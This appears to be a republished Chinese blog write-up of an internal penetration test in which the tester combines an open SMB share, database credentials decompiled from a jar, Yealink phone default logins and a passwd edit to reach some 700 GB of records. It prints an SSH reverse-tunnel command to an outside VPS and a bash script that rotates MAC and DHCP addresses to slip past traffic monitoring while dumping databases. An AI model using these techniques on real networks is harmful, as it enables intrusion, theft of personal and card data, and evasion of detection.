多漏洞组合实现百G数据泄漏
2022-9-14 09:2:2 Author: 信安之路(查看原文) 阅读量:29 收藏

这是几年前的一次内部渗透测试案例,通过几个小漏洞组合起来获得了大量敏感信息,起初在一个小的内网进行 nmap 扫描,没有发现什么特别有价值的信息,只发现一个 SMB 共享,如图:

看上去像是开发人员创建,用于计算机之间的文件共享,接下来使用 impacket 的 smbclient.py 访问该共享,获得了一些内容:

通过命令行窗口没看到啥特别有用的文件,尝试下载回本地,发现了一个 jar 文件:

看着像是自己写的程序,然后使用 java 的反编译软件 jd-gui,下载地址:

https://github.com/java-decompiler/jd-gui.git

将代码克隆回本地然后编译:

编译好之后启动:

启动之后出现一个界面,打开要反编译的 jar 文件即可:

在翻看了代码之后,找到了几个数据库的链接信息,如图:

在全部尝试之后发现,这些 IP 均无法访问,我想,这些账号密码可能存在通用的,所以开始对整个内网进行扫描,探测所有运行 mysql 服务的端口,然后使用收集到的账号密码进行登录尝试,最后发现 10.40.0.0/16 网段一台电脑的 3033 端口登录成功。

成功连接后发现,有五十多个与业务相关的数据表,包含的数据超过 700 G:

为了证明信息量,查询了下数据条数(超过 1600 万条电子邮件地址):

除了这些,还发现看超过 20 万条完整的信用卡记录,大约 700 G 的数据中,有 270 G 的熟剧是关键的,到这里,你以为就结束了?其实并没有,为了证明这些数据可以泄漏,需要想办法将这些数据转移至外部,在尝试传输时发现速度非常慢,如果一天内传输 270G 的数据,可能会触发一些流量审计设备的规则。

接下来我们尝试使用 ssh 建立隧道,通过外部访问内部被控制的主机, 这里先说一下如何建立 SSH 隧道,首先在被控主机上执行命令:

ssh -R 8080:127.0.0.1:22 -N -f [email protected]

remote.host 是我们的远程 VPS(具有公网IP,可以远程访问),- N 参数表示不运行任何命令,只建立连接,-f 参数表示后台运行进程,整个命令的意思是远程 VPS 监听 8080 端口,把收到的所有数据均发送给内网被控主机的 22 端口,这样我们就可以通过外部访问内网被控主机的 SSH 端口,连接命令:

ssh -p 8080 [email protected]

compromiseduser 是内网被控主机上的用户名,到这里我们就解决了通过公司网络访问内网主机的问题。

接下来我们决定找一个全天候都在启动、安全性差、可以访问网络的设备,物联网设备满足这几个条件,然后在内网开始扫描这类设备,发现了一百台物联网设备,主要是电视和 VOIP 电话,电视不会一直开着,电话都是 Yealink 的:

看看这类设备是否存在历史漏洞,使用 searchsploit 搜索相关漏洞发现几个:

经过分析, 23572 这个漏洞可以启动 telnet 并且存在默认账号密码,详情:

https://www.exploit-db.com/exploits/23572

使用默认账号密码 admin/admin 成功登录,但不是 root 权限:

在测试中发现,使用 guest/guest 账号可以编辑 passwd 文件,然后将 root 用户中的 x 去掉,即可在没有 root 密码的情况下登录:

关于 guest 用户为什么可以编辑 passwd 文件,不得而知,但确实是可以的。

有了 root 权限之后,需要在这个系统上部署一个 ssh 服务器,由于这个过程中遇到很多错误,没有做记录,如果再做的话我会选择 pentestkoala 来创建 ssh 服务:

https://github.com/mrschyte/pentestkoala

这个时候,我不想用一个 IP 下载所有的数据,这样容易被流量监控发现,测试发现使用 macchanger 更改 mac 后,手动释放 DHCP 会获得一个新的 IP,也就是说 DHCP 分配 IP 取决于 MAC 地址,所以编写一个脚本:

#!/bin/bashfor i in importantdb1 importantdb2 importantdb3 importantdb4; do dhclient -r enp0s25 sleep 10 macchanger - random enp0s25 dhclient enp0s25 sleep 40 mysqldump - verbose -u root -prootspi949 -h 10.40.59.10 -P 3033 $i >> /tmp/compromisedDb/$i.sqldone

每下载一个数据表则更换一个 IP 地址,这样同一个 IP 所下载的数据就没有那么大了,目标达成。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247497962&idx=1&sn=30c531b900171897a95851c463221e38&chksm=ec1dc8c2db6a41d40820b571917c949f7f2757e56e2d38b987fb4b8a84bd3cc3a01733a3a5f9#rd
如有侵权请联系:admin#unsafe.sh